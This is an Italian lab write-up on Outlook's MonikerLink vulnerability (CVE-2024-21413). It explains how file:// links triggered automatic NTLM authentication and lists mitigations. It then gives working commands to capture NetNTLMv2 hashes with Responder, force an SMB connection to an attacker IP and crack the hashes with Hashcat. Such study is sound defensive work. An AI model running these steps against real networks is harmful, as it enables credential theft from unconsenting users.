Laboratorio SMB + Responder (CVE-2024-21413)

🎯 Obiettivo

Questo progetto ha avuto lo scopo di studiare la vulnerabilità CVE-2024-21413 (MonikerLink), esplorando come il protocollo SMB/NTLM possa essere abusato per la cattura di credenziali.
Anche dopo la correzione ufficiale di Microsoft, il laboratorio mostra che il concetto rimane valido in scenari interni.

📖 Exploit Theory

La vulnerabilità (CVE-2024-21413), nota come MonikerLink, è stata classificata come critica (CVSS 9.8). Si verifica perché Outlook elaborava i collegamenti "file://" in modo non sicuro, utilizzando API COM obsolete (Moniker Objects). Questi oggetti permettevano a Outlook di chiamare risorse esterne senza passare per la Protected View, inducendo il client ad avviare automaticamente connessioni SMB.

1. Cos'è Moniker Link?

È una funzionalità di Windows che consente di fare riferimento a oggetti COM tramite collegamenti speciali.

2. Come Outlook elaborava file://

L'exploit originale abusava di collegamenti "file://" o percorsi UNC inviati via email.

3. Come avveniva il bypass con "!"

Aggiungendo il carattere "!" nel collegamento, era possibile aggirare le protezioni interne di Outlook, forzando l'apertura diretta della risorsa esterna.

4. Come veniva esposto NTLM

Ciò comportava un'autenticazione NTLM automatica, esponendo gli hash NetNTLMv2 all'attaccante senza una significativa interazione da parte dell'utente.

5. Cosa corregge la patch

La patch KB5002519 blocca specificamente questo comportamento in Outlook, impedendo che i collegamenti "file://" vengano elaborati in questo modo.

6. Cosa NON corregge la patch

Tuttavia, l'autenticazione NTLM automatica di Windows continua a funzionare al di fuori del contesto di Outlook, cioè qualsiasi tentativo di accedere a risorse SMB in un ambiente in cui NTLM è abilitato e non ci sono restrizioni di autenticazione può ancora generare l'invio automatico di hash.

📌 Relazione tra Outlook, SMB/NTLM e Responder Exploit originale: tramite spam email con link dannoso → Outlook elaborava → NTLM autenticava automaticamente → l'attaccante riceveva l'hash.

Laboratorio interno: simuliamo solo la parte concettuale → forziamo manualmente la connessione SMB → Responder cattura l'hash → Hashcat esegue il cracking.

Perché funziona ancora? Perché NTLM è un protocollo legacy che autentica automaticamente nelle connessioni SMB, indipendentemente da Outlook. La patch corregge il client Outlook, ma non elimina il comportamento intrinseco di NTLM su Windows.

🏗️ Architettura del Laboratorio

• Attaccante: Kali Linux con Responder e Hashcat.
• Vittima: Windows con Outlook installato.
• Rete: LAN simulata, senza esposizione esterna.
• Strumenti:
  • Responder → per l'avvelenamento dei protocolli e la cattura degli hash.
  • Hashcat → per il cracking offline degli hash catturati.

🛡️ Patch di Outlook

Durante i test, Outlook ha bloccato i collegamenti file:// provenienti da email, mostrando un avviso di sicurezza:

Osservazione

La patch KB5002519, rilasciata a febbraio 2024, mitiga il vettore esterno via email bloccando i collegamenti file://.
Tuttavia, il protocollo NTLM continua a consentire l'autenticazione automatica nelle connessioni SMB.
Ciò significa che, sebbene Outlook sia protetto da questo specifico exploit, la superficie di attacco interna rimane valida.
La radice del problema risiede nella dipendenza da NTLM come meccanismo di autenticazione, che rimane suscettibile alla cattura di hash nelle connessioni SMB.

📊 Metriche di rischio

• CVE: CVE-2024-21413
• CVSS: 9.8 (Critico)
• Impatto: RCE + perdita di credenziali
• Vettore: Esterno (Outlook) e Interno (SMB/NTLM)
• Mitigazione raccomandata:
  • Applicare la patch KB5002519.
  • Disabilitare NTLM dove possibile.
  • Forzare Kerberos in ambienti AD.
  • Implementare MFA e password forti.

📚 Apprendimenti

1. La patch di Outlook blocca solo il click su collegamenti esterni.
2. SMB/NTLM rimane una superficie di attacco all'interno della rete.
3. Gli hash NetNTLMv2 possono essere catturati e violati offline.
4. Le password deboli sono facilmente scoperte con wordlist comuni.
5. Anche con la correzione ufficiale, la vulnerabilità mantiene rilevanza in scenari interni.

📌 Passo-passo

1. Avviare Responder Qui avviamo Responder sull'interfaccia di rete del Kali. Esso agisce come un server SMB falso, pronto a rispondere alle richieste della vittima e catturare le credenziali NTLM. Questo passo è essenziale per preparare l'ambiente di avvelenamento dei protocolli e l'intercettazione. Comando su Kali Linux:

sudo responder -I eth0

2. Forzare la comunicazione SMB
   Su Windows, accediamo manualmente a una risorsa SMB puntando all'IP dell'attaccante. Questo accesso costringe il client Windows a tentare di autenticarsi automaticamente via NTLM, inviando l'hash al server falso (Responder). È in questo momento che avviene l'esposizione iniziale delle credenziali. Possiamo forzare la comunicazione SMB in due modi:

   Tramite Explorer, accedendo manualmente:

\\<IP dell'attaccante>\test.

Tramite terminale (cmd o PowerShell), usando il comando:

net use \\<IP dell'attaccante>\test

3. Cattura dell'hash
   Responder intercetta il tentativo di autenticazione e salva l'hash NTLMv2 in un file di log all'interno di /usr/share/responder/logs/. Questo file contiene il materiale grezzo che verrà usato per il cracking. Qui evidenziamo la vulnerabilità: anche senza password in chiaro, l'hash può essere catturato e riutilizzato.

/usr/share/responder/logs/SMB-NTLMv2-SSP-<IP>.txt

4. Cracking con Hashcat
   Prima di eseguire Hashcat, copiamo l'hash dal log in un file nella nostra home (~/hash.txt). Questo facilita la manipolazione e garantisce che Hashcat abbia accesso diretto al contenuto. Quindi eseguiamo Hashcat in modalità 5600 (NetNTLMv2) con la wordlist rockyou.txt. Questo processo tenta di violare l'hash offline, dimostrando come password deboli possano essere scoperte rapidamente. Il risultato mostra se la password è stata trovata, evidenziando il rischio reale della vulnerabilità.

hashcat -m 5600 -a 0 ~/hash.txt /usr/share/wordlists/rockyou.txt

Nota:
La password reale non viene mostrata per motivi di sicurezza. L'obiettivo è dimostrare il processo e la vulnerabilità.

✅ Conclusione

Questo laboratorio ha evidenziato che:

• L'exploit tramite Outlook è stato bloccato dalla patch.
• Tuttavia, è possibile catturare e violare manualmente gli hash SMB.
• La vulnerabilità rimane valida come concetto, rafforzando l'importanza di hardening interno, password forti e migrazione verso Kerberos/autenticazione basata su token.